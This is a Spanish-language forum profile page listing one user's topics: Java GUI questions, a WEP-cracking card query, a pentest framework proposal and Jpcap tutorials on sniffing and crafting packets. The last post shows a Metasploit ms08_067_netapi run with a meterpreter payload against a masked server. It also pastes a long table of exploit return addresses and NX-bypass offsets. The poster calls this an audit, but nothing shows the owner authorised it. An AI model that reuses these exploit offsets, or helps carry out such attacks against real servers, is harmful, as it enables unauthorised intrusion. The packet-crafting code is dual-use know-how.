Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Debci

#91
Drinky94
Sin rodeos, me ha enviado un mensaje con publicidad de su web...
No se si esta autorizado a hacer publi por el foro, pero weno...
Cita de: Drinky94 en  7 Marzo 2010, 20:16 PM
Hola buenas, Registrate en la nueva comunidad:

www.mundo-*******.net

Te esperamos!
Acaba de responder poniendo como repsuesta a mi mensaje de anti-spam

Cita de: Drinky94 en  7 Marzo 2010, 20:25 PM
Cita de: ..::| D3Bć1 |::. en  7 Marzo 2010, 20:24 PM
spammer...
voy a reportar

Saludos

www.mundo-*******.net
Sinceramente me ha molestado... existen otros metodos para dar a conocer tu pagina web, pero spamear...

Saludos
#92
Haber antes de nada aclarar que de ASM se lo que he podido aprender debuggeando apps:
Que EIP apunta a la siguiente direciond e memoria que va ejecutar el procesador
Algunos registros...
que con ADD añadimos datos a un regsitro y se suman....

Y que no dispongo d emedios para comprar ningun libro
Algun PDF, paper, o guia, aunque sea un hi world bien explicado

Me conformo con poder hacer algo por mi cuenta.

Saludos
#93
Hola a todos, jeje despues de un tiempo alejado del tema de la seguridad wireless por no conseguir nada de nada (me temo que mi tarje no inyecta bien...) vengo a preguntaros por algun modelo de tarjeta wireless con la que peuda crackear contraseñas wep sin problema, supongo que debe haber muchas, pero cuala es la mejor para todo esto?

He estado viendo la erize, pero no se exactamente si vale para lo que busco:

http://www.ciudadwireless.com/erize_erzw54-usb04rs300_adaptador_wireless_300mw_antena_5dbi-p-2537.html

Espero que em puedan ayudar.
Si es posible que los drivers de esta esten parhceados en los SO convencionales de este tipo (Wifislax, wifiway, Backtrack...)

Saludos
#94
Java / Duda referente a la ventanita estilo JS
30 Enero 2010, 19:43 PM
Hola a todos, ya he conseguido que al pasar el mouse por un cierto elemento de mi gui aparezca la ventanita informativa, pero ocurre un problema, que yo quiero que al movemer por el elemento donde sale la ventanita se mueva etsa tambien, y es que cuando la invoco al entrar en el elemento el elemento pierdo control ya que la ventanita esta en primer palno y el elemento deja de escuchar al mouse.

Como puedo hacer para que el eleemto siga escuchando aunque haya algo delante?

Saludos
#95
Java / Elementos Drag 'n Drop
30 Enero 2010, 17:36 PM
Hola a tod@s de nuevo vengo para consultares sobre la existencia de una libreria en java.
Quiero hacer una red sinaptica y quiero hacerlo con elementos tipo drag 'n drop, osea que tenga una especie de escritorio donde pueda añadir nuevos elementos, moverlos y elmininarlos libremente sobre una zona de trabajo.

Si quereis ver algun ejemplo existe una poderosisima aplicacion en java llamada maltego que usa lo que busco:


Alguna idea sobre lo que busco?


Saludos
#96
Hola a todos, vengo a proponeros una genialidad o una locura (eso lo dejo a vuestro gusto), un framework de pentest.
La seguridad informatica es algo que incumbe a todos, y como todo lo que es importante en esta vida, hay que estar preparados, por esto es bueno que si hay que dedicarse a hacer un buen soft de este tipo, mejor es que sea multiplataforma y con la potencia de java.

La idea no es una maquina de hacking, si no de auditoria, exportación de informes, trabajo en equipo, escaneo persistente...
He aqui las caracteristicas basicas:


  • Capacidad para usar exploits descargados de Milw0rm con el exploitDB
  • AutoXplosion: Usa todas los exploits que haya para cierto puerto-aplicación y encontrar la autentica vulnerabilidad
  • Importación desde nessus y nmap con visualización grafica de arbol de las vulnerabilidades
  • Exportación de resultados a pdf y html, para entregar el informe completo
  • Busqueda de posibles soluciones usando la information gathering, y una pequeña base de datos sobre las vulnerabilidades mas conocidas y como repararlos-parchearlos
  • Capacidad para conectar varios framework para trabajar en grupo, enviar datos, compartir información...
  • Escáner de puertos integrado propio

Ya tengo hechas varias cosas, pero he pensado que hay gente a la que le interesaria colaborar con esto, asi que me abro a propuestas-reclutamiento de desarrolladores.

La idea definitiva, es crear una aplicación que sirva para protejer un sistema, y ayudar a los auditores informaticos a tener una herramienta que sirva para dar informes y maneras de protejer un sistema.

Todo esto no es mas que un voceto de lo que en un futuro, pretendo que sea.

Saludos
#97
Java / Ventanita estilo JS emergente
18 Enero 2010, 22:01 PM
Hola a todos, me gustaria saber como poner esas ventanitas emergente tan modernas que siguen al mouse, que ponen en paginas web "sofisticadas" (si sofisticadas...) que pasas el ratón encima de un link y te aparece una ventanita informativa cerca del mouse y se va cuando sales del enlace.
He pensado hacerlo con el motor de scripting rhino pero no veo la manera puesto que es javascript a java, y no se como hacerlo de manera equitativa y constructiva (definitivamente soy un chaquetero...) me refiero a poder ponerle una imagen diseñarlo y tal que no se un simple contextMenu descriptivo de java, si no con imagenes y eso.

Alguna idea?

Parto de 0.

Saludos
#98
PROGRAMACIÓN DE RED EN JAVA #2
Lectura y envio de paquetes, filtros, manipulación de paquetes....


Hola a tod@s y bienvenid@s una vez mas a esta entrega, sobre el desarrollo de nuestro propio sniffer.

Como prometí en mi anterior host, en esta ocasión vamos a tratar los siguientes temas:



  • Envio y lectura de paquetes completo (en este casi solo he puesto code).
  • Escritura de los paquetes leidos en un fichero, asi como lectura de los paquetes:
              Ejemplo práctico de leer paquetes, guardarlos en un archivo y re-enviarlos.
  • Filtros de lectura de paquetes, para nuestro programa y tambien para wireshark y otros.

Bueno, para refrescar un poco la memoria...
En la parte anterior a esta, comentabamos y aprendimos a saber que interfaces de red teniamos conectadas,estructurar y visualizar su información, como la direción mac, la ip, nombre de la interfaz de red...

Esta vez vamos a ir un poco mas lejos, vamos a recibir y escribir paquetes.

Bien empezamos, por algo que ya enseñé en el post anterior, leer paquetes de red, aqui el codigo:
Código (java) [Seleccionar]
JpcapCaptor captor=JpcapCaptor.openDevice(device[index], 65535, false, 20);

for(int i=0;i<10;i++){
  //Capturar un paquete simple y muestrearlo
  System.out.println(captor.getPacket());
}

captor.close();

Esta vez si que voy a explicar mas a fondo la clase JpcapCaptor, primero de todo decir, que es la clase que se encarga tramitar entre los paquetes de red y las interfaces, etsamos con esta clase, configurando la interface, el puerto, el modo, y el timeout de lectura:
Código (java) [Seleccionar]

Jpcap.openDevice(indice interfaz, puerto, modo promiscuo, timeout de lectura);

Ahora que esta explicada, vamos a a profundizar el codigo completo:


  • Primero de todo tenemos la declaración/encapsulación del objeto PcapCaptor, con el que ponemos a la escucha de paquetes a una interface. Para ello hemos indicado al programa con argumentos que, lo haga con la interfaz que esta en el indice index(int), sobre el puerto 65535, modo promiscuo desactivado y con un timeout de lectura de 20 ms.
  • En segundo lugar hemos creado un bucle lógico-condicional con el que leemos durante 10 loops con un timeout de 20 ms, por tanto leemos un maximo de 10 paquetes, si alguno se retrasa mas de 20 ms no lo leerá.
  • Y por ultimo cerramos la interfaz y la quitamos de la escucha de paquetes.

Bien ahora sabemos leer paquetes, ahora vamos a ser mas especificos, con la el tipo de captura, vamos a filtrar los paquetes, para ello vamos a usar el metodo setFilter() de PcapCaptor, veamos como:

Código (java) [Seleccionar]

JpcapCaptor captor=JpcapCaptor.openDevice(device[index], 65535, false, 20);
//Exclusivizamos la captura de paquetes para IPv4/TCP
captor.setFilter("ip and tcp", true);


Bien veamos, hemos dicho al captor de paquetes que solo coja los de tcp y ip (IPv4).
Esto es sencillo, pero saber todo esto de poco nos vale si tan solo capturamos paquetes, vamos a capturarlos y a guardarlos en un archivo de texto plano, para ello haremos uso de JpcapWriter:

Código (java) [Seleccionar]

JpcapCaptor captor=JpcapCaptor.openDevice(device[index], 65535, false, 20);
//OPertura de archivo
JpcapWriter writer=JpcapWriter.openDumpFile(captor,"yourfilename");


JpcapWriter nos proporciona un metodo para escribir archivos con el contenido del capturador, este metodo es openDumpFile, en el primer argumento le indicamos que obejto JpacpCaptor recive para escribir y en el segundo, indicamos con una string que archivo vamos a escribir.
No creo que haya complicaciones, quizas alguna FileNotFoundException, pero no mas.

Ahora toca escribirlos con un bucle lógico, combinando lo anterior con la escritura:

Código (java) [Seleccionar]

JpcapCaptor captor=JpcapCaptor.openDevice(device[index], 65535, false, 20);
//Opertura de archivo
JpcapWriter writer=JpcapWriter.openDumpFile(captor,"yourfilename");

for(int i=0;i<10;i++){
  //Captura un paquete sencillo
  Packet packet=captor.getPacket();
  //Guardar en el archivo abierto
  writer.writePacket(packet);
}
writer.close();

Con esto abriremos, leeremos y escribiremos paquetes en un archivo en concreto.
Bien ahora que hemos leido paquetes, los hemos dumpeado a un fichero, vamos a leerlos y a maquinar con ellos:

Código (java) [Seleccionar]

//Abre el archivo donde teniamos los apquetes leidos
JpcapCaptor captor=JpcapCaptor.openFile("yourfilename");

while(true){
  //Lee el archivo abierto
  Packet packet=captor.getPacket();
  //Si ocurre algo malo, algun erro u algo , rompemos el bucle
  if(packet==null || packet==Packet.EOF) break;
  //Printeamos el paquete leido
  System.out.println(packet);
}

captor.close();


El ejemplo es claro, pero quiero que ahora penseis, si recivimos paquetes, por ejemplo estando en un mitm, los leemos, y modificamos de manera automatizada con algun bucle, y desciframos información de estos, estamos ante una herramienta muy potente, y creada por nosotros, totalmente personalizable.

Bien ya dominamos la lectura y modificación de paquetes (si hombre, aunque no lo haya explicado sabeis que se puede modificar, por bytes, por String, por chars...), ahora toca el envio de paquetes, jeje....

Código (java) [Seleccionar]

//Abre la interface para envio
JpcapSender sender=JpcapSender.openDevice(devices[index]);

//Crea un paquete TCP personalizado con puertos y mierdas de esas xD como veis hay muchas opciones
TCPPacket p=new TCPPacket(12,34,56,78,false,false,false,false,true,true,true,true,10,10);

//Parametros de IPv4
p.setIPv4Parameter(0,false,false,false,0,false,false,false,0,1010101,100,IPPacket.IPPROTO_TCP,
  InetAddress.getByName("www.elhacker.net"),InetAddress.getByName("www.google.com"));

//El campo data del paquete
p.data=("data").getBytes();

//Crea un paquete tipo Ethernet para el envio
EthernetPacket ether=new EthernetPacket();
//Pone la frame como tipo IP
ether.frametype=EthernetPacket.ETHERTYPE_IP;
//Pone las mac de envio y recpcion
ether.src_mac=new byte[]{(byte)0,(byte)1,(byte)2,(byte)3,(byte)4,(byte)5};
ether.dst_mac=new byte[]{(byte)0,(byte)6,(byte)7,(byte)8,(byte)9,(byte)10};

//Envia el datalink al paquete para enviarlo
p.datalink=ether;

//Envia el paquete
sender.sendPacket(p);

sender.close();


Bien, para esto tendriais que ler algo sobre paquetes de red, wifi netowrks y esas cosas, en la secion de seguridad wireless hay mucho relacionado, pero comentar algo, para que veais que esto tiene un uso.
Bien si empezamos a leer paquetes, y reenviamos esos paquetes, podemos provocar reaciones extrañas, si hacemos esto de manera masvia cosas malevolas(que no debeis hacer sin permiso del que se compromete, porque ni yo ni elhacker.net se hacen responsables). Investigad, probad y no murais en el intento.

En el proximo tutorial hablaremos sobre el diseño final de un sniffer, y probablemente ya tenga el source para postearlo.

Un saludo a tod@s y espeor que os guste.

#99
PROGRAMACIÓN DE RED EN JAVA
Paquetes TCP/UDP, conexiones de red, interfaces...


Hola a todos, recientemente me he puesto a estudiar las posibilidades de java como sniffer, asi que voy a poner lo que he aprendido, en unos cuantos tutoriales, y acabremos haciendo un sniffer.

Primero de todo decir que para todo esto estoy usando la libreria:
JPCAP -------> http://netresearch.ics.uci.edu/kfujii/jpcap/doc/download.html

Bien cabe comentar tambien que para ejecutar los ejemplos de los tutos, hace falta hacerlo bajo ROOT, asi que si no funciona, una psoible causa es esa.

Bien en el primer tutorial vamos a crear una mini-aplicacion tipo iwconfig-ifconfig que nos enumere todas las interfaces conectadas al equipo, bien empecemos:

Primero de todo hay que crear la lista de dispositivos, encapsulando la clase NetworkInterface a modo de array o matriz (para luego leer los interfaces usando un indice sencillo):

Código (java) [Seleccionar]
NetworkInterface[] devices = JpcapCaptor.getDeviceList();

Le asignamos a la matriz todos los dispositivos mediante el metodo getDEviceList() de la clase JpcapCaptor.

Una vez hecho estoy, vamos a recorrer el array con un bucle logico usando como limitador el length (longitud) del array:

Código (java) [Seleccionar]
for (int i = 0; i < devices.length; i++)

Muy sencillo, y ahora una vez estamos recorriendo vamos a mostrar informacion de los dispositivos, usando los metodos NetworkInterface:

Código (java) [Seleccionar]

//Metodo name para sacar el nombre la interface
System.out.println("Nombre de interface: "+devices[i].name + "\n======================================\n" + devices[i].description);

//Metodo datalink_name para sacar el nombre de este
System.out.println("Nombre del datalink: "+devices[i].datalink_name + "\n==========================================\n" + devices[i].datalink_description+".\n");

//Esta claro no? xD
System.out.print("Direción MAC: ");
  for (byte b : devices[i].mac_address)
    System.out.print(Integer.toHexString(b&0xff) + ":");


Bien con etso ultimo hemos visto de manera completa, como sacar información de todos los dispositivos de red que haya conectados al equipo, vamos a profundizarlo un poquito mas:

Código (java) [Seleccionar]

for (NetworkInterfaceAddress a : devices[i].addresses)
    System.out.println(" address:"+a.address + " " + a.subnet + " "+ a.broadcast);

Con eso, como es evidente, sacaremos la direcion de red, ip, mascara de red y demás.

Mmm esto esta muy bien, pero... yo quiero jugar con la red diran otros, pues os diré que esto lo reservo para el siguiente tuto, pero os pondre un pequeño adelanto para que vallais jugando y probando cosas si, quereis claro...

Vamos a leer 10 paquetes de red en un puerto determinado y una interface concreta:

Código (java) [Seleccionar]

JpcapCaptor captor=JpcapCaptor.openDevice(device[indice], 65535, false, 1);

for(int i=0;i<10;i++){
  //Capturamos un paquete y lo muestreamos
  System.out.println(captor.getPacket());
}

captor.close();

Como veis, el bucle se para en el decimo loop, y como leemos un paquete por loop, solo leemos 10 paquetes,y lo hacemos sobre la interface (hay que marcara que indice de interface con el int indice que correpsonde al indice del array).
En el puerto 65535, aqui escojemos que puerto queremos sniffar, leer, o escribir en un futuro no muy lejano paquetes.
El tercer parametro no es relevante ahora, pero ma starde lo explicaré.
El cuarto parametro es el que nos indica cuantos paquetes por cada llamada a getPacket() leemos, si ponemos envezde uno, 20, leeremos 20 paquetes por cada llamada a getPacket(), y por tanto 20 paquetes por loop, lo que viene a ser 10*20 = 200 paquetes.

Bueno, ahora os dejo un ejemplo para escritura de paquetes:

Código (java) [Seleccionar]

JpcapSender sender=JpcapSender.openDevice(devices[index]);


TCPPacket p=new TCPPacket(12,34,56,78,false,false,false,false,true,true,true,true,10,10);

p.setIPv4Parameter(0,false,false,false,0,false,false,false,0,1010101,100,IPPacket.IPPROTO_TCP,
  InetAddress.getByName("www.microsoft.com"),InetAddress.getByName("www.google.com"));


p.data=("data").getBytes();


EthernetPacket ether=new EthernetPacket();

ether.frametype=EthernetPacket.ETHERTYPE_IP;

ether.src_mac=new byte[]{(byte)0,(byte)1,(byte)2,(byte)3,(byte)4,(byte)5};
ether.dst_mac=new byte[]{(byte)0,(byte)6,(byte)7,(byte)8,(byte)9,(byte)10};
p.datalink=ether;

sender.sendPacket(p);

sender.close();


El codigo anterior, lo que hace es enviar un paquete en la interfaz de red (paquete de tipo TCP/IPv4/Ethernet), usando unos puertos determinados, entre dos hosts.

En el proximo tutorial aprenderemos a:


  • Envio y lectura de paquetes completo (en este casi solo he puesto code).
  • Escritura de los paquetes leidos en un fichero, asi como lectura de los paquetes:
              Ejemplo práctico de leer paquetes, guardarlos en un archivo y re-enviarlos.
  • Filtros de lectura de paquetes, para nuestro programa y tambien para wireshark y otros.
Y mucho mas!
Cuando acabe todo pondre el source de mi sniffer de red, en java bajo ide netbeans para que todos se beneficien y aprendan.

Un saludo y gracias por aguantarme xD (que leer esto no es moco de pavo)





#100
Hola a todos, estoy auditando un servidor, que por la cantidad de puertos abiertos parece ser muy vulnerable, pero como ya comente hace tiempo, no puedo atacarle mediante el ms08_067_netapi, en puerto 445 abierto (sip, esta abierto), por que no detecta bien el paquete de idiomas del guind0$, estos son los puertos abiertos (que no se os caiga la baba):


7/tcp    open  echo
9/tcp    open  discard
13/tcp   open  daytime
17/tcp   open  qotd
19/tcp   open  chargen
21/tcp   open  ftp
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
110/tcp  open  pop3
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
1027/tcp open  IIS
1028/tcp open  unknown
1029/tcp open  ms-lsa
1030/tcp open  iad1
1031/tcp open  iad2
1455/tcp open  esl-lm
3306/tcp open  mysql
3389/tcp open  ms-term-serv
8009/tcp open  ajp13
8080/tcp open  http-proxy
8085/tcp open  unknown
8402/tcp open  unknown
8443/tcp open  https-alt



Bien ahora viene la parte técnica en la cual fallo:


debci@0x81:/pentest/exploits/framework3$ sudo ./msfconsole
[sudo] password for debci:

                                 _            
                                | |      o    
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |  
 |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                          /|                  
                          \|                  


      =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 491 exploits - 225 auxiliary
+ -- --=[ 251 payloads - 23 encoders - 8 nops
      =[ svn r8082 updated today (2010.01.07)

msf > use exploit/windows/smb/ms08_067_netapi                                  3
RHOST => xxxxxxxxxxtapi) > set RHOST xx.xx.xx.xx
rpreter/bind_tcpmsf exploit(ms08_067_netapi) > set PAYLOAD windows/mete
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 R2 Service Pack 2 - lang:Unknown
[*] Could not determine the exact language pack
[*] Exploit completed, but no session was created.
msf exploit(ms08_067_netapi) >



Entonces, me puse a investigar (siguiendo un link que el compañero kamsky me proporcionó):
http://www.pentester.es/2009/11/por-que-no-consigo-shell-con-mi.html

Bien, pero en esa guia, se explica como hacerlo trasteando con un proceso .exe de windows, y yo trabajo bajo linux, e aqui el problema, de todos modos me puse a invetsigar sobre el exploit, en mi caso se ejecuta bajo el interprete del framework metasploit, y para mi sorpresa, si que tiene el idioma castellano, el cual es el probable del host, observen:

#
# UNIVERSAL TARGETS
#

#
# Antoine's universal for Windows 2000
# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
#
[ 'Windows 2000 Universal',
{
'Ret'       => 0x001f1cb0,
'Scratch'   => 0x00020408,
}
], # JMP EDI SVCHOST.EXE

#
# Standard return-to-ESI without NX bypass
# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
#
[ 'Windows XP SP0/SP1 Universal',
{
'Ret'       => 0x01001361,
'Scratch'   => 0x00020408,
}
], # JMP ESI SVCHOST.EXE

#
# ENGLISH TARGETS
#

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 English (NX)',
{
'Ret'       => 0x6f88f727,
'DisableNX' => 0x6f8916e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL


# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 English (NX)',
{
'Ret'       => 0x6f88f807,
'DisableNX' => 0x6f8917c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Standard return-to-ESI without NX bypass
[ 'Windows 2003 SP0 Universal',
{
'Ret'       => 0x0100129e,
'Scratch'   => 0x00020408,
}
], # JMP ESI SVCHOST.EXE


# Standard return-to-ESI without NX bypass
[ 'Windows 2003 SP1 English (NO NX)',
{
'Ret'       => 0x71bf21a2,
'Scratch'   => 0x00020408,
}
], # JMP ESI WS2HELP.DLL

# Brett Moore's crafty NX bypass for 2003 SP1
[ 'Windows 2003 SP1 English (NX)',
{
'RetDec'    => 0x7c90568c, # dec ESI, ret @SHELL32.DLL
'RetPop'    => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL
'JmpESP'    => 0x7c86fed3,  # jmp ESP @NTDLL.DLL
'DisableNX' => 0x7c83e413,  # NX disable @NTDLL.DLL
'Scratch'   => 0x00020408,
}
],

# Standard return-to-ESI without NX bypass
[ 'Windows 2003 SP2 English (NO NX)',
{
'Ret'       => 0x71bf3969,
'Scratch'   => 0x00020408,
}
], # JMP ESI WS2HELP.DLL

# Brett Moore's crafty NX bypass for 2003 SP2
[ 'Windows 2003 SP2 English (NX)',
{
'RetDec'    => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL
'RetPop'    => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL
'JmpESP'    => 0x7c86a01b,  # jmp ESP @NTDLL.DLL
'DisableNX' => 0x7c83f517,  # NX disable @NTDLL.DLL
'Scratch'   => 0x00020408,
}
],


#
# NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED
#

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Arabic (NX)',
{
'Ret'       => 0x6fd8f727,
'DisableNX' => 0x6fd916e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Chinese - Traditional / Taiwan (NX)',
{
'Ret'       => 0x5860f727,
'DisableNX' => 0x586116e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Chinese - Simplified (NX)',
{
'Ret'       => 0x58fbf727,
'DisableNX' => 0x58fc16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Chinese - Traditional (NX)',
{
'Ret'       => 0x5860f727,
'DisableNX' => 0x586116e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Czech (NX)',
{
'Ret'       => 0x6fe1f727,
'DisableNX' => 0x6fe216e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Danish (NX)',
{
'Ret'       => 0x5978f727,
'DisableNX' => 0x597916e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 German (NX)',
{
'Ret'       => 0x6fd9f727,
'DisableNX' => 0x6fda16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Greek (NX)',
{
'Ret'       => 0x592af727,
'DisableNX' => 0x592b16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL


# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Spanish (NX)',
{
'Ret'       => 0x6fdbf727,
'DisableNX' => 0x6fdc16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Finnish (NX)',
{
'Ret'       => 0x597df727,
'DisableNX' => 0x597e16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 French (NX)',
{
'Ret'       => 0x595bf727,
'DisableNX' => 0x595c16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Hebrew (NX)',
{
'Ret'       => 0x5940f727,
'DisableNX' => 0x594116e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Hungarian (NX)',
{
'Ret'       => 0x5970f727,
'DisableNX' => 0x597116e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Italian (NX)',
{
'Ret'       => 0x596bf727,
'DisableNX' => 0x596c16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Japanese (NX)',
{
'Ret'       => 0x567fd3be,
'DisableNX' => 0x568016e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Korean (NX)',
{
'Ret'       => 0x6fd6f727,
'DisableNX' => 0x6fd716e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Dutch (NX)',
{
'Ret'       => 0x596cf727,
'DisableNX' => 0x596d16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Norwegian (NX)',
{
'Ret'       => 0x597cf727,
'DisableNX' => 0x597d16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Polish (NX)',
{
'Ret'       => 0x5941f727,
'DisableNX' => 0x594216e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Portuguese - Brazilian (NX)',
{
'Ret'       => 0x596ff727,
'DisableNX' => 0x597016e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Portuguese (NX)',
{
'Ret'       => 0x596bf727,
'DisableNX' => 0x596c16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Russian (NX)',
{
'Ret'       => 0x6fe1f727,
'DisableNX' => 0x6fe216e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Swedish (NX)',
{
'Ret'       => 0x597af727,
'DisableNX' => 0x597b16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Turkish (NX)',
{
'Ret'       => 0x5a78f727,
'DisableNX' => 0x5a7916e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Arabic (NX)',
{
'Ret'       => 0x6fd8f807,
'DisableNX' => 0x6fd917c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Chinese - Traditional / Taiwan (NX)',
{
'Ret'       => 0x5860f807,
'DisableNX' => 0x586117c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Chinese - Simplified (NX)',
{
'Ret'       => 0x58fbf807,
'DisableNX' => 0x58fc17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Chinese - Traditional (NX)',
{
'Ret'       => 0x5860f807,
'DisableNX' => 0x586117c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Czech (NX)',
{
'Ret'       => 0x6fe1f807,
'DisableNX' => 0x6fe217c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Danish (NX)',
{
'Ret'       => 0x5978f807,
'DisableNX' => 0x597917c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 German (NX)',
{
'Ret'       => 0x6fd9f807,
'DisableNX' => 0x6fda17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Greek (NX)',
{
'Ret'       => 0x592af807,
'DisableNX' => 0x592b17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL


# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Spanish (NX)',
{
'Ret'       => 0x6fdbf807,
'DisableNX' => 0x6fdc17c2,
'Scratch'   => 0x00020408
}
